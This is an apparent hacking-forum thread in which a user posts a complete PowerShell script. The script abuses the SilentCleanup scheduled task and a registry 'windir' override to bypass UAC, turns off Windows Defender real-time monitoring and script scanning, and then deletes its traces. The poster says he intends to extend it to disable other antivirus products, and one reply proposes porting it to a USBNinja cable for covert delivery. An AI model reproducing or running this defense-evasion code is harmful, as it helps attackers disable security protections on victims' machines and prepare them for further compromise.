

Forum:[Hack Forums](#)

Thread: [Powershell - UAC Bypass & Disable Windows Defender](#)

Lib - July 29, 2019, 12:57 pm

Hello All,

I'm hoping at least one of you will be able to find this useful.

I've just built a script to use a Simple UAC Bypass trick with Powershell to Change the State of Windows Defender.

Currently the Script Uses the DiskCleanup Scheduled Task exploit to execute an Administrative Powershell session.

The Admin Session Disables Defenders Realtime Monitoring and Script Scanning.

To Do: I would like to Further the Script to also disable Known Anti-Virus/Malware Programs and stop them from running on Startup.

To do this I feel I would need to collect a list of all Services and Programs that The Software uses to detect & then search for them through the script. If anyone knows of an easier way to detect this, please let me know, It may save me a lot of time.

I also haven't been able to test this on a domain enabled machine, Only on my local machine, If someone is able to test that It still bypasses Credential Required UAC, that would be super helpful.

Code #####

#

Windows Defender UAC Bypass by Lib

Hackforums UID: 2999367

Date Created: 29/07/2019

Version 1.072019

#

#

Requirements: This script must be run as a User who is in Administrative Group.

This is not a privelege escalation, This features a UAC Bypass and Defender Disable only.

#

#####

#Set Status of Windows Defender, True or False.

\$WindowsDefenderDisabled = "True"

\$Setuppl = "Setup.ps1"

\$Scriptloc = "C:\Recovery\"

\$SetupFullLoc = (" \$Scriptloc" + " \$Setuppl")

\$SetupContents = "Start-Process powershell -ArgumentList '-noprofile -file \$InitPLFullpath' -verb RunAs"

#Create Setup PS Command to Execute Escalated PS Session

```
New-Item -path $Scriptloc -Name $Setuppl -Force
Set-Content -Value $SetupContents -LiteralPath $SetupFullLoc
```

```
$initpl = "Windef.ps1"
$InitPLFullpath = ("$Scriptloc"+"$initpl")
$registryPath = "HKCU:\Environment"
$IPropName = "windir"
$RegValue = "powershell -ep bypass -w h $SetupFullLoc;#"
```

```
$initplcontents = "
Try
{
Set-MpPreference -DisableRealtimeMonitoring `$$WindowsDefenderDisabled
Set-MpPreference -DisableScriptScanning `$$WindowsDefenderDisabled
New-item -path C:\Recovery -name Success.verify -force
}
Catch
{
New-item -path C:\Recovery -name Fail.Verify -force
}"
```

```
New-Item -path $Scriptloc -Name $initpl -Force
Set-Content -Value $initplcontents -LiteralPath $InitPLFullpath
```

```
Set-ItemProperty -Path $registryPath -Name $IPropName -Value $RegValue
Start-Sleep 2
schtasks /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I | Out-Null
```

```
#Sleep to allow Scripts to run
Start-sleep 3
```

```
If (Get-Childitem -Path C:\Recovery -Filter *.Verify)
{
    $Recoverify = Get-Childitem -Path C:\Recovery -Filter *.Verify
    If($Recoverify.Name -eq "Success.verify")
    {
        Write-Output "RealTime Monitoring & Script-Scanning Disabled: $WindowsDefenderDisabled."
    }
    Else
    {
        Write-Output "!!! RealTime Monitoring & Script-Scanning Failed to Change State !!!"
    }
}
```

```
#Cleanup
Remove-ItemProperty -Path $registryPath -Name $IPropName
Get-ChildItem -Path C:\Recovery -Filter *.Verify | Remove-Item -Force
Get-ChildItem -Path C:\Recovery -Filter *.ps1 | Remove-Item -Force
```

learner319 - August 1, 2019, 12:04 am

Good Script I am going to check now

n0span - September 3, 2019, 6:17 am

Lib, send me a PM.

I am interested in helping with your goal to create an universal script to disable ALL the main antiviruses.

I want to further port this to a private project I am working on, more exactly on the USBNinja cable.

PwnedLevel1000 - *September 12, 2019, 6:46 pm*

good post man looks cool thanks